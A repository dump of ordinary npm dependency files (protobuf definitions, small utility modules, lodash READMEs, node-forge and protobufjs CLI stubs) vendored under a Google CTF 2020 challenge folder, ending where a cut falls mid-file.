| -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-gax/protos/google/protobuf/compiler/ruby/ruby_generated_pkg_explicit_legacy.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package one.two.a_three.and; 4 | 5 | option ruby_package = "AA.BB.CC"; 6 | 7 | message Four { 8 | string another_string = 1; 9 | } 10 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-gax/protos/google/protobuf/compiler/ruby/ruby_generated_pkg_implicit.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package one.two.a_three; 4 | 5 | message Four { 6 | string a_string = 1; 7 | } 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-p12-pem/build/src/bin/gp12-pem.d.ts: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | /** 3 | * Copyright 2018 Google LLC 4 | * 5 | * Distributed under MIT license. 6 | * See file LICENSE for detail or copy at https://opensource.org/licenses/MIT 7 | */ 8 | export {}; 9 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-p12-pem/build/src/index.d.ts: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2018 Google LLC 3 | * 4 | * Distributed under MIT license. 5 | * See file LICENSE for detail or copy at https://opensource.org/licenses/MIT 6 | */ 7 | /** 8 | * Convert a .p12 file to .pem string 9 | * @param filename The .p12 key filename. 10 | * @param callback The callback function. 11 | * @return A promise that resolves with the .pem private key 12 | * if no callback provided. 13 | */ 14 | export declare function getPem(filename: string): Promise; 15 | export declare function getPem(filename: string, callback: (err: Error | null, pem: string | null) => void): void; 16 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/http-errors/node_modules/inherits/inherits.js: -------------------------------------------------------------------------------- 1 | try { 2 | var util = require('util'); 3 | if (typeof util.inherits !== 'function') throw ''; 4 | module.exports = util.inherits; 5 | } catch (e) { 6 | module.exports = require('./inherits_browser.js'); 7 | } 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/https-proxy-agent/dist/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | var __importDefault = (this && this.__importDefault) || function (mod) { 3 | return (mod && mod.__esModule) ? mod : { "default": mod }; 4 | }; 5 | const agent_1 = __importDefault(require("./agent")); 6 | function createHttpsProxyAgent(opts) { 7 | return new agent_1.default(opts); 8 | } 9 | (function (createHttpsProxyAgent) { 10 | createHttpsProxyAgent.HttpsProxyAgent = agent_1.default; 11 | createHttpsProxyAgent.prototype = agent_1.default.prototype; 12 | })(createHttpsProxyAgent || (createHttpsProxyAgent = {})); 13 | module.exports = createHttpsProxyAgent; 14 | //# sourceMappingURL=index.js.map -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/https-proxy-agent/dist/index.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":";;;;AAKA,oDAAuC;AAEvC,SAAS,qBAAqB,CAC7B,IAA2D;IAE3D,OAAO,IAAI,eAAgB,CAAC,IAAI,CAAC,CAAC;AACnC,CAAC;AAED,WAAU,qBAAqB;IAoBjB,qCAAe,GAAG,eAAgB,CAAC;IAEhD,qBAAqB,CAAC,SAAS,GAAG,eAAgB,CAAC,SAAS,CAAC;AAC9D,CAAC,EAvBS,qBAAqB,KAArB,qBAAqB,QAuB9B;AAED,iBAAS,qBAAqB,CAAC"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/https-proxy-agent/dist/parse-proxy-response.d.ts: -------------------------------------------------------------------------------- 1 | /// 2 | import { Readable } from 'stream'; 3 | export interface ProxyResponse { 4 | statusCode: number; 5 | buffered: Buffer; 6 | } 7 | export default function parseProxyResponse(socket: Readable): Promise; 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/inherits/inherits.js: -------------------------------------------------------------------------------- 1 | try { 2 | var util = require('util'); 3 | /* istanbul ignore next */ 4 | if (typeof util.inherits !== 'function') throw ''; 5 | module.exports = util.inherits; 6 | } catch (e) { 7 | /* istanbul ignore next */ 8 | module.exports = require('./inherits_browser.js'); 9 | } 10 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/is-fullwidth-code-point/index.d.ts: -------------------------------------------------------------------------------- 1 | /** 2 | Check if the character represented by a given [Unicode code point](https://en.wikipedia.org/wiki/Code_point) is [fullwidth](https://en.wikipedia.org/wiki/Halfwidth_and_fullwidth_forms). 3 | 4 | @param codePoint - The [code point](https://en.wikipedia.org/wiki/Code_point) of a character. 5 | 6 | @example 7 | ``` 8 | import isFullwidthCodePoint from 'is-fullwidth-code-point'; 9 | 10 | isFullwidthCodePoint('谢'.codePointAt(0)); 11 | //=> true 12 | 13 | isFullwidthCodePoint('a'.codePointAt(0)); 14 | //=> false 15 | ``` 16 | */ 17 | export default function isFullwidthCodePoint(codePoint: number): boolean; 18 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/is-stream-ended/index.d.ts: -------------------------------------------------------------------------------- 1 | import { Stream } from 'stream'; 2 | declare function isStreamEnded(stream: Stream): boolean; 3 | declare namespace isStreamEnded {} 4 | export = isStreamEnded; 5 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/is-stream-ended/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | module.exports = function (stream) { 4 | var ended; 5 | 6 | if (typeof stream.ended !== 'undefined') { 7 | ended = stream.ended; 8 | } else { 9 | ended = stream._readableState.ended; 10 | } 11 | 12 | return Boolean(ended).valueOf(); 13 | }; 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/is-stream-ended/readme.md: -------------------------------------------------------------------------------- 1 | # is-stream-ended 2 | > Check if a stream has ended. 3 | 4 | ```sh 5 | $ npm install --save is-stream-ended 6 | ``` 7 | ```js 8 | var isStreamEnded = require('is-stream-ended'); 9 | 10 | isStreamEnded(stream); // false 11 | stream.end(); 12 | isStreamEnded(stream); // true 13 | ``` 14 | 15 | ### isStreamEnded(stream) 16 | 17 | #### stream 18 | 19 | - Type: `Stream`, `Object` 20 | 21 | Providing a stream will check against the `stream._readableState` object. To check from the `_writableState`, provide that object directly. 22 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/is/Makefile: -------------------------------------------------------------------------------- 1 | 2 | .PHONY: verify-tag release 3 | 4 | default: release 5 | 6 | verify-tag: 7 | ifndef TAG 8 | $(error TAG is undefined) 9 | endif 10 | 11 | release: verify-tag 12 | @ OLD_TAG=`git describe --abbrev=0 --tags` && \ 13 | npm run minify && \ 14 | replace "$${OLD_TAG/v/}" "$(TAG)" -- *.json README.md && \ 15 | git commit -m "v$(TAG)" *.js *.json README.md && \ 16 | git tag "v$(TAG)" 17 | 18 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/is/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "is", 3 | "repo": "enricomarino/is", 4 | "description": "The definitive type testing library", 5 | "version": "2.2.0", 6 | "dependencies": {}, 7 | "scripts": ["index.js"] 8 | } 9 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/isarray/.npmignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/isarray/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | node_js: 3 | - "0.8" 4 | - "0.10" 5 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/isarray/Makefile: -------------------------------------------------------------------------------- 1 | 2 | test: 3 | @node_modules/.bin/tape test.js 4 | 5 | .PHONY: test 6 | 7 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/isarray/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name" : "isarray", 3 | "description" : "Array#isArray for older browsers", 4 | "version" : "0.0.1", 5 | "repository" : "juliangruber/isarray", 6 | "homepage": "https://github.com/juliangruber/isarray", 7 | "main" : "index.js", 8 | "scripts" : [ 9 | "index.js" 10 | ], 11 | "dependencies" : {}, 12 | "keywords": ["browser","isarray","array"], 13 | "author": { 14 | "name": "Julian Gruber", 15 | "email": "mail@juliangruber.com", 16 | "url": "http://juliangruber.com" 17 | }, 18 | "license": "MIT" 19 | } 20 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/isarray/index.js: -------------------------------------------------------------------------------- 1 | var toString = {}.toString; 2 | 3 | module.exports = Array.isArray || function (arr) { 4 | return toString.call(arr) == '[object Array]'; 5 | }; 6 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/isarray/test.js: -------------------------------------------------------------------------------- 1 | var isArray = require('./'); 2 | var test = require('tape'); 3 | 4 | test('is array', function(t){ 5 | t.ok(isArray([])); 6 | t.notOk(isArray({})); 7 | t.notOk(isArray(null)); 8 | t.notOk(isArray(false)); 9 | 10 | var obj = {}; 11 | obj[0] = true; 12 | t.notOk(isArray(obj)); 13 | 14 | var arr = []; 15 | arr.foo = 'bar'; 16 | t.ok(isArray(arr)); 17 | 18 | t.end(); 19 | }); 20 | 21 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/json-bigint/index.js: -------------------------------------------------------------------------------- 1 | var json_stringify = require('./lib/stringify.js').stringify; 2 | var json_parse = require('./lib/parse.js'); 3 | 4 | module.exports = function(options) { 5 | return { 6 | parse: json_parse(options), 7 | stringify: json_stringify 8 | } 9 | }; 10 | //create the default method members with no options applied for backwards compatibility 11 | module.exports.parse = json_parse(); 12 | module.exports.stringify = json_stringify; 13 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/jws/lib/tostring.js: -------------------------------------------------------------------------------- 1 | /*global module*/ 2 | var Buffer = require('buffer').Buffer; 3 | 4 | module.exports = function toString(obj) { 5 | if (typeof obj === 'string') 6 | return obj; 7 | if (typeof obj === 'number' || Buffer.isBuffer(obj)) 8 | return obj.toString(); 9 | return JSON.stringify(obj); 10 | }; 11 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/lodash.at/README.md: -------------------------------------------------------------------------------- 1 | # lodash.at v4.6.0 2 | 3 | The [lodash](https://lodash.com/) method `_.at` exported as a [Node.js](https://nodejs.org/) module. 4 | 5 | ## Installation 6 | 7 | Using npm: 8 | ```bash 9 | $ {sudo -H} npm i -g npm 10 | $ npm i --save lodash.at 11 | ``` 12 | 13 | In Node.js: 14 | ```js 15 | var at = require('lodash.at'); 16 | ``` 17 | 18 | See the [documentation](https://lodash.com/docs#at) or [package source](https://github.com/lodash/lodash/blob/4.6.0-npm-packages/lodash.at) for more details. 19 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/lodash.camelcase/README.md: -------------------------------------------------------------------------------- 1 | # lodash.camelcase v4.3.0 2 | 3 | The [lodash](https://lodash.com/) method `_.camelCase` exported as a [Node.js](https://nodejs.org/) module. 4 | 5 | ## Installation 6 | 7 | Using npm: 8 | ```bash 9 | $ {sudo -H} npm i -g npm 10 | $ npm i --save lodash.camelcase 11 | ``` 12 | 13 | In Node.js: 14 | ```js 15 | var camelCase = require('lodash.camelcase'); 16 | ``` 17 | 18 | See the [documentation](https://lodash.com/docs#camelCase) or [package source](https://github.com/lodash/lodash/blob/4.3.0-npm-packages/lodash.camelcase) for more details. 19 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/lodash.has/README.md: -------------------------------------------------------------------------------- 1 | # lodash.has v4.5.2 2 | 3 | The [lodash](https://lodash.com/) method `_.has` exported as a [Node.js](https://nodejs.org/) module. 4 | 5 | ## Installation 6 | 7 | Using npm: 8 | ```bash 9 | $ {sudo -H} npm i -g npm 10 | $ npm i --save lodash.has 11 | ``` 12 | 13 | In Node.js: 14 | ```js 15 | var has = require('lodash.has'); 16 | ``` 17 | 18 | See the [documentation](https://lodash.com/docs#has) or [package source](https://github.com/lodash/lodash/blob/4.5.2-npm-packages/lodash.has) for more details. 19 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/long/index.js: -------------------------------------------------------------------------------- 1 | module.exports = require("./src/long"); 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/media-typer/HISTORY.md: -------------------------------------------------------------------------------- 1 | 0.3.0 / 2014-09-07 2 | ================== 3 | 4 | * Support Node.js 0.6 5 | * Throw error when parameter format invalid on parse 6 | 7 | 0.2.0 / 2014-06-18 8 | ================== 9 | 10 | * Add `typer.format()` to format media types 11 | 12 | 0.1.0 / 2014-06-17 13 | ================== 14 | 15 | * Accept `req` as argument to `parse` 16 | * Accept `res` as argument to `parse` 17 | * Parse media type with extra LWS between type and first parameter 18 | 19 | 0.0.0 / 2014-06-13 20 | ================== 21 | 22 | * Initial implementation 23 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/mime-db/index.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * mime-db 3 | * Copyright(c) 2014 Jonathan Ong 4 | * MIT Licensed 5 | */ 6 | 7 | /** 8 | * Module exports. 9 | */ 10 | 11 | module.exports = require('./db.json') 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/mime/cli.js: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | 'use strict'; 4 | 5 | var mime = require('.'); 6 | var file = process.argv[2]; 7 | var type = mime.getType(file); 8 | 9 | process.stdout.write(type + '\n'); 10 | 11 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/mime/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | var Mime = require('./Mime'); 4 | module.exports = new Mime(require('./types/standard'), require('./types/other')); 5 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/mime/lite.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | var Mime = require('./Mime'); 4 | module.exports = new Mime(require('./types/standard')); 5 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/node-forge/dist/forge.all.min.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"forge.all.min.js","sources":["webpack:///forge.all.min.js"],"mappings":"AAAA","sourceRoot":""} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/node-forge/dist/forge.min.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"forge.min.js","sources":["webpack:///forge.min.js"],"mappings":"AAAA","sourceRoot":""} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/node-forge/dist/prime.worker.min.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"prime.worker.min.js","sources":["webpack:///prime.worker.min.js"],"mappings":"AAAA","sourceRoot":""} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/node-forge/flash/swf/SocketPool.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/node-forge/flash/swf/SocketPool.swf -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/node-forge/lib/forge.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Node.js module for Forge. 3 | * 4 | * @author Dave Longley 5 | * 6 | * Copyright 2011-2016 Digital Bazaar, Inc. 7 | */ 8 | module.exports = { 9 | // default options 10 | options: { 11 | usePureJavaScript: false 12 | } 13 | }; 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/node-forge/lib/index.all.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Node.js module for Forge with extra utils and networking. 3 | * 4 | * @author Dave Longley 5 | * 6 | * Copyright 2011-2016 Digital Bazaar, Inc. 7 | */ 8 | module.exports = require('./forge'); 9 | // require core forge 10 | require('./index'); 11 | // additional utils and networking support 12 | require('./form'); 13 | require('./socket'); 14 | require('./tlssocket'); 15 | require('./http'); 16 | require('./xhr'); 17 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/node-forge/lib/md.all.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Node.js module for all known Forge message digests. 3 | * 4 | * @author Dave Longley 5 | * 6 | * Copyright 2011-2017 Digital Bazaar, Inc. 7 | */ 8 | module.exports = require('./md'); 9 | 10 | require('./md5'); 11 | require('./sha1'); 12 | require('./sha256'); 13 | require('./sha512'); 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/node-forge/lib/md.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Node.js module for Forge message digests. 3 | * 4 | * @author Dave Longley 5 | * 6 | * Copyright 2011-2017 Digital Bazaar, Inc. 7 | */ 8 | var forge = require('./forge'); 9 | 10 | module.exports = forge.md = forge.md || {}; 11 | forge.md.algorithms = forge.md.algorithms || {}; 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/node-forge/lib/mgf.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Node.js module for Forge mask generation functions. 3 | * 4 | * @author Stefan Siegl 5 | * 6 | * Copyright 2012 Stefan Siegl 7 | */ 8 | var forge = require('./forge'); 9 | require('./mgf1'); 10 | 11 | module.exports = forge.mgf = forge.mgf || {}; 12 | forge.mgf.mgf1 = forge.mgf1; 13 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/p-try/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const pTry = (fn, ...arguments_) => new Promise(resolve => { 4 | resolve(fn(...arguments_)); 5 | }); 6 | 7 | module.exports = pTry; 8 | // TODO: remove this in the next major version 9 | module.exports.default = pTry; 10 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/path-exists/index.d.ts: -------------------------------------------------------------------------------- 1 | declare const pathExists: { 2 | /** 3 | Check if a path exists. 4 | 5 | @returns Whether the path exists. 6 | 7 | @example 8 | ``` 9 | // foo.ts 10 | import pathExists = require('path-exists'); 11 | 12 | (async () => { 13 | console.log(await pathExists('foo.ts')); 14 | //=> true 15 | })(); 16 | ``` 17 | */ 18 | (path: string): Promise; 19 | 20 | /** 21 | Synchronously check if a path exists. 22 | 23 | @returns Whether the path exists. 24 | */ 25 | sync(path: string): boolean; 26 | }; 27 | 28 | export = pathExists; 29 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/path-exists/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | const fs = require('fs'); 3 | const {promisify} = require('util'); 4 | 5 | const pAccess = promisify(fs.access); 6 | 7 | module.exports = async path => { 8 | try { 9 | await pAccess(path); 10 | return true; 11 | } catch (_) { 12 | return false; 13 | } 14 | }; 15 | 16 | module.exports.sync = path => { 17 | try { 18 | fs.accessSync(path); 19 | return true; 20 | } catch (_) { 21 | return false; 22 | } 23 | }; 24 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/process-nextick-args/readme.md: -------------------------------------------------------------------------------- 1 | process-nextick-args 2 | ===== 3 | 4 | [![Build Status](https://travis-ci.org/calvinmetcalf/process-nextick-args.svg?branch=master)](https://travis-ci.org/calvinmetcalf/process-nextick-args) 5 | 6 | ```bash 7 | npm install --save process-nextick-args 8 | ``` 9 | 10 | Always be able to pass arguments to process.nextTick, no matter the platform 11 | 12 | ```js 13 | var pna = require('process-nextick-args'); 14 | 15 | pna.nextTick(function (a, b, c) { 16 | console.log(a, b, c); 17 | }, 'step', 3, 'profit'); 18 | ``` 19 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/bin/pbjs: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | var path = require("path"), 3 | cli = require(path.join(__dirname, "..", "cli", "pbjs.js")); 4 | var ret = cli.main(process.argv.slice(2)); 5 | if (typeof ret === 'number') 6 | process.exit(ret); 7 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/bin/pbts: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | var path = require("path"), 3 | cli = require(path.join(__dirname, "..", "cli", "pbts.js")); 4 | var ret = cli.main(process.argv.slice(2)); 5 | if (typeof ret === 'number') 6 | process.exit(ret); 7 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/cli/README.md: -------------------------------------------------------------------------------- 1 | protobufjs-cli 2 | ============== 3 | [![npm](https://img.shields.io/npm/v/protobufjscli.svg)](https://www.npmjs.com/package/protobufjs-cli) 4 | 5 | Command line interface (CLI) for [protobuf.js](https://github.com/dcodeIO/protobuf.js). Translates between file formats and generates static code as well as TypeScript definitions. 6 | 7 | * [CLI Documentation](https://github.com/dcodeIO/protobuf.js#command-line) 8 | 9 | **Note** that moving the CLI to its own package is a work in progress. At the moment, it's still part of the main package. 10 | 11 | **License:** [BSD 3-Clause License](https://opensource.org/licenses/BSD-3-Clause) 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/cli/bin/pbjs: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | var path = require("path"), 3 | cli = require(path.join(__dirname, "..", "pbjs.js")); 4 | var ret = cli.main(process.argv.slice(2)); 5 | if (typeof ret === 'number') 6 | process.exit(ret); 7 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/cli/bin/pbts: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | var path = require("path"), 3 | cli = require(path.join(__dirname, "..", "pbts.js")); 4 | var ret = cli.main(process.argv.slice(2)); 5 | if (typeof ret === 'number') 6 | process.exit(ret); 7 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/cli/index.d.ts: -------------------------------------------------------------------------------- 1 | import * as pbjs from "./pbjs.js"; 2 | import * as pbts from "./pbts.js"; 3 | export { pbjs, pbts }; 4 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/cli/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | exports.pbjs = require("./pbjs"); 3 | exports.pbts = require("./pbts"); 4 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/cli/lib/tsd-jsdoc.json: -------------------------------------------------------------------------------- 1 | { 2 | "tags": { 3 | "allowUnknownTags": false 4 | }, 5 | "plugins": [ 6 | "./tsd-jsdoc/plugin" 7 | ], 8 | "opts": { 9 | "encoding" : "utf8", 10 | "recurse" : true, 11 | "lenient" : true, 12 | "template" : "./tsd-jsdoc", 13 | 14 | "private" : false, 15 | "comments" : true, 16 | "destination" : false 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/cli/lib/tsd-jsdoc/plugin.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | exports.defineTags = function(dictionary) { 3 | 4 | dictionary.defineTag("template", { 5 | mustHaveValue: true, 6 | canHaveType: false, 7 | canHaveName: false, 8 | onTagged: function(doclet, tag) { 9 | (doclet.templates || (doclet.templates = [])).push(tag.text); 10 | } 11 | }); 12 | 13 | dictionary.defineTag("tstype", { 14 | mustHaveValue: true, 15 | canHaveType: false, 16 | canHaveName: false, 17 | onTagged: function(doclet, tag) { 18 | doclet.tsType = tag.text; 19 | } 20 | }); 21 | }; 22 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/cli/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "6.9.0", 3 | "dependencies": { 4 | "espree": "^7.1.0", 5 | "tmp": "^0.2.1" 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/cli/pbjs.d.ts: -------------------------------------------------------------------------------- 1 | type pbjsCallback = (err: Error|null, output?: string) => void; 2 | 3 | /** 4 | * Runs pbjs programmatically. 5 | * @param {string[]} args Command line arguments 6 | * @param {function(?Error, string=)} [callback] Optional completion callback 7 | * @returns {number|undefined} Exit code, if known 8 | */ 9 | export function main(args: string[], callback?: pbjsCallback): number|undefined; 10 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/cli/pbts.d.ts: -------------------------------------------------------------------------------- 1 | type pbtsCallback = (err: Error|null, output?: string) => void; 2 | 3 | /** 4 | * Runs pbts programmatically. 5 | * @param {string[]} args Command line arguments 6 | * @param {function(?Error, string=)} [callback] Optional completion callback 7 | * @returns {number|undefined} Exit code, if known 8 | */ 9 | export function main(args: string[], callback?: pbtsCallback): number|undefined; 10 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/cli/targets/json.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | module.exports = json_target; 3 | 4 | json_target.description = "JSON representation"; 5 | 6 | function json_target(root, options, callback) { 7 | callback(null, JSON.stringify(root, null, 2)); 8 | } 9 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/cli/targets/proto2.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | module.exports = proto2_target; 3 | 4 | var protobuf = require("../.."); 5 | 6 | proto2_target.description = "Protocol Buffers, Version 2"; 7 | 8 | function proto2_target(root, options, callback) { 9 | require("./proto")(root, protobuf.util.merge(options, { syntax: "proto2" }), callback); 10 | } 11 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/cli/targets/proto3.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | module.exports = proto3_target; 3 | 4 | var protobuf = require("../.."); 5 | 6 | proto3_target.description = "Protocol Buffers, Version 3"; 7 | 8 | function proto3_target(root, options, callback) { 9 | require("./proto")(root, protobuf.util.merge(options, { syntax: "proto3" }), callback); 10 | } 11 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/cli/wrappers/amd.js: -------------------------------------------------------------------------------- 1 | define([$DEPENDENCY], function($protobuf) { 2 | "use strict"; 3 | 4 | $OUTPUT; 5 | 6 | return $root; 7 | }); 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/cli/wrappers/closure.js: -------------------------------------------------------------------------------- 1 | (function($protobuf) { 2 | "use strict"; 3 | 4 | $OUTPUT; 5 | 6 | return $root; 7 | })(protobuf); 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/cli/wrappers/commonjs.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | var $protobuf = require($DEPENDENCY); 4 | 5 | $OUTPUT; 6 | 7 | module.exports = $root; 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/cli/wrappers/default.js: -------------------------------------------------------------------------------- 1 | (function(global, factory) { /* global define, require, module */ 2 | 3 | /* AMD */ if (typeof define === 'function' && define.amd) 4 | define([$DEPENDENCY], factory); 5 | 6 | /* CommonJS */ else if (typeof require === 'function' && typeof module === 'object' && module && module.exports) 7 | module.exports = factory(require($DEPENDENCY)); 8 | 9 | })(this, function($protobuf) { 10 | "use strict"; 11 | 12 | $OUTPUT; 13 | 14 | return $root; 15 | }); 16 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/cli/wrappers/es6.js: -------------------------------------------------------------------------------- 1 | import * as $protobuf from $DEPENDENCY; 2 | 3 | $OUTPUT; 4 | 5 | export { $root as default }; 6 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/ext/debug/README.md: -------------------------------------------------------------------------------- 1 | protobufjs/ext/debug 2 | ========================= 3 | 4 | Experimental debugging extension. 5 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/google/README.md: -------------------------------------------------------------------------------- 1 | This folder contains stripped and pre-parsed definitions of common Google types. These files are not used by protobuf.js directly but are here so you can use or include them where required. 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/google/api/annotations.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package 